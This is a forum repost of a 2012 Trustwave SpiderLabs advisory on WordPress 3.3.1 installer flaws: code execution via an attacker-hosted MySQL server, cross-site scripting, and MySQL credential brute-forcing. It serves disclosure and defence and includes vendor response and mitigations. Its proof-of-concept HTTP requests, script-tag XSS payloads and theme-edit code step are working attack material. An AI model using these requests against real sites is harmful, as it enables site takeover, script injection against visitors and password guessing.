The_Arhitect Posted January 25, 2012 Report Posted January 25, 2012 WordPress <= 3.3.1 Multiple VulnerabilitiesTrustwave's SpiderLabs Security Advisory TWSL2012-002:Multiple Vulnerabilities in WordPresshttps://www.trustwave.com/spiderlabs/advisories/TWSL2012-002.txtPublished: 1/24/12Version: 1.0Vendor: WordPress (http://wordpress.org/)Product: WordPressVersion affected: 3.3.1 and priorProduct description:WordPress is a free and open source blogging tool and publishing platformpowered by PHP and MySQL.Credit: Jonathan Claudius of Trustwave SpiderLabsFinding 1: PHP Code Execution and Persistent Cross Site ScriptingVulnerabilities via 'setup-config.php' page.CVE: CVE-2011-4899The WordPress 'setup-config.php' installation page allows users to installWordPress in local or remote MySQL databases. This typically requires a userto have valid MySQL credentials to complete. However, a malicious user canhost their own MySQL database server and can successfully complete theWordPress installation without having valid credentials on the target system.After the successful installation of WordPress, a malicious user can injectmalicious PHP code via the WordPress Themes editor. In addition, with controlof the database store, malicious Javascript can be injected into the contentof WordPress yielding persistent Cross Site Scripting.Proof of Concept:Servers InvolvedA.B.C.D = Target WordPress Web ServerW.X.Y.Z = Malicious User's MySQL Instance1.) Malicious User hosts their own MySQL instance at W.X.Y.Z on port 33062.) Performs POST/GET Requests to Install WordPress into MySQL InstanceRequest #1----------POST /wp-admin/setup-config.php?step=2 HTTP/1.1Host: A.B.C.DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-us,en;q=0.5Accept-Encoding: gzip, deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Proxy-Connection: keep-aliveReferer: http://A.B.C.D/wp-admin/setup-config.php?step=1Cookie: wp-settings-time-1=1322687480; wp-settings-1=m9%3DoContent-Type: application/x-www-form-urlencodedContent-Length: 81dbname=wordpress&uname=jsmith&pwd=jsmith&dbhost=W.X.Y.Z&prefix=wp_&submit=SubmitRequest #2----------GET /wp-admin/install.php HTTP/1.1Host: A.B.C.DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-us,en;q=0.5Accept-Encoding: gzip, deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Proxy-Connection: keep-aliveReferer: http://A.B.C.D/wp-admin/setup-config.php?step=2Cookie: wp-settings-time-1=1322687480; wp-settings-1=m9%3DoIf-Modified-Since: Wed, 07 Dec 2011 16:03:33 GMT3.) Get PHP Code ExecutionMalicious user edits 404.php via Themes Editor as follows:<?phpphpinfo();?>Note #1: Any php file in the theme could be used.Note #2: Depending settings, PHP may be used to execute system commands on webserver.Malicious user performs get request of modified page to execute code.Request-------GET /wp-content/themes/default/404.php HTTP/1.1Host: A.B.C.DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.14.) Get Persistent Cross Site ScriptingMalicious User Injects Malicious Javascript into their own MySQL database instanceMySQL Query-----------update wp_comments SETcomment_content='<script>alert('123')</script>' where comment_content='Hi,this is a comment.<br />To delete \ a comment, just log in and view thepost's comments. There you will have the option to edit or deletethem.';Non-malicious User Visits Wordpress installation and has Javascript executed on their browserRequest-------GET /?p=1 HTTP/1.1Host: A.B.C.DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1Finding 2: Multiple Cross Site Scripting Vulnerabilities in'setup-config.php' pageCVE: CVE-2012-0782The WordPress 'setup-config.php' installation page allows users to installWordPress in local or remote MySQL databases. When using this installation pagethe user is asked to supply the database name, the server that the databaseresides on, and a valid MySQL username and password.During this process, malicious users can supply javascript withinthe "dbname", "dbhost" or "uname" parameters. Upon clicking the submissionbutton, the javascript is rendered in the client's browser.Proof of Concept:Servers InvolvedA.B.C.D = Target WordPress Web ServerRequest-------POST /wp-admin/setup-config.php?step=2 HTTP/1.1Host: A.B.C.DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-us,en;q=0.5Accept-Encoding: gzip, deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Proxy-Connection: keep-aliveReferer: http://A.B.C.D/wp-admin/setup-config.php?step=1Content-Type: application/x-www-form-urlencodedContent-Length: 112dbname=%3Cscript%3Ealert%28%27123%27%29%3C%2Fscript%3E&uname=root&pwd=&dbhost=localhost&prefix=wp_&submit=SubmitFinding 3: MySQL Server Username/Password Disclosure Vulnerability via'setup-config.php' pageCVE: CVE-2011-4898The WordPress 'setup-config.php' installation page allows users to installWordPress in local or remote MySQL databases. When using this installation pagethe user is asked to supply the database name, the server the database resideson, and a valid MySQL username and password.Malicious users can omit the "dbname" parameter during this process, allowingthem to continually bruteforce MySQL instance usernames and passwords. Thisincludes any local or remote MySQL instances which are accessible to thetarget web server. This can also be used as a method to proxy MySQL bruteforceattacks against other MySQL instances outside of the target organization.Proof of Concept:Servers InvolvedA.B.C.D = Target WordPress Web ServerL.M.N.O = Any MySQL Server for which the Web Server has network accessRequest-------POST /wp-admin/setup-config.php?step=2 HTTP/1.1Host: A.B.C.DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-us,en;q=0.5Accept-Encoding: gzip, deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Proxy-Connection: keep-aliveReferer: http://A.B.C.D/wp-admin/setup-config.php?step=1Content-Type: application/x-www-form-urlencodedContent-Length: 32uname=mysql&pwd=mysql&dbhost=L.M.N.OResponse (If Password is Valid)-------------------------------<---snip-->We were able to connect to the database server (which means your usernameand password is okay) but not able to select the database.<---snip-->Response (If Password is Invalid)---------------------------------<---snip-->This either means that the username and password information in yourwp-config.php file is incorrect or we can't contact the database server atlocalhost. This could mean your host's database server is down.<---snip-->Vendor Response:Due to the fact that the component in question is an installation script,the vendor has stated that the attack surface is too small to warranta fix:"We give priority to a better user experience at the install process. It isunlikely a user would go to the trouble of installing a copy of WordPressand then not finishing the setup process more-or-less immediately. Thewindow of opportunity for exploiting such a vulnerability is very small."However, Trustwave SpiderLabs urges caution in situations where theWordPress installation script is provided as part of a default image.This is often done as a convenience on hosting providers, even incases where the client does not use the software. It is a best practiceto ensure that no installation scripts are exposed to outsiders, andthese vulnerabilities reinforce the importance of this step.Remediation Steps:No official fix for these issues will be released for the WordPresspublishing platform. However, administrators can mitigate these issues bycreating strong MySQL passwords and defining rules within a web applicationfirewall (WAF) solution. ModSecurity (http://www.modsecurity.org/) hasadded rules to the commercial rules feed for these issues, and Trustwave'svulnerability scanning solution, TrustKeeper, has been updated to detectexposed installation scripts.Vendor Communication Timeline:12/22/11 - Vulnerability disclosed01/16/12 - Confirmation to release vulnerabilities01/24/12 - Advisory publishedReferences1. http://www.wordpress.orgAbout Trustwave:Trustwave is the leading provider of on-demand and subscription-basedinformation security and payment card industry compliance managementsolutions to businesses and government entities throughout the world. Fororganizations faced with today's challenging data security and complianceenvironment, Trustwave provides a unique approach with comprehensivesolutions that include its flagship TrustKeeper compliance managementsoftware and other proprietary security solutions. Trustwave has helpedthousands of organizations--ranging from Fortune 500 businesses and largefinancial institutions to small and medium-sized retailers--managecompliance and secure their network infrastructure, data communications andcritical information assets. Trustwave is headquartered in Chicago withoffices throughout North America, South America, Europe, Africa, China andAustralia. For more information, visit https://www.trustwave.comAbout Trustwave's SpiderLabs:SpiderLabs(R) is the advanced security team at Trustwave focused onapplication security, incident response, penetration testing, physicalsecurity and security research. The team has performed over a thousandincident investigations, thousands of penetration tests and hundreds ofapplication security tests globally. In addition, the SpiderLabs Researchteam provides intelligence through bleeding-edge research and proof ofconcept tool development to enhance Trustwave's products and services.https://www.trustwave.com/spiderlabsDisclaimer:The information provided in this advisory is provided "as is" withoutwarranty of any kind. Trustwave disclaims all warranties, either express orimplied, including the warranties of merchantability and fitness for aparticular purpose. In no event shall Trustwave or its suppliers be liablefor any damages whatsoever including direct, indirect, incidental,consequential, loss of business profits or special damages, even ifTrustwave or its suppliers have been advised of the possibility of suchdamages. Some states do not allow the exclusion or limitation of liabilityfor consequential or incidental damages so the foregoing limitation may notapply.This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format.Sursa: WordPress <= 3.3.1 Multiple Vulnerabilities Quote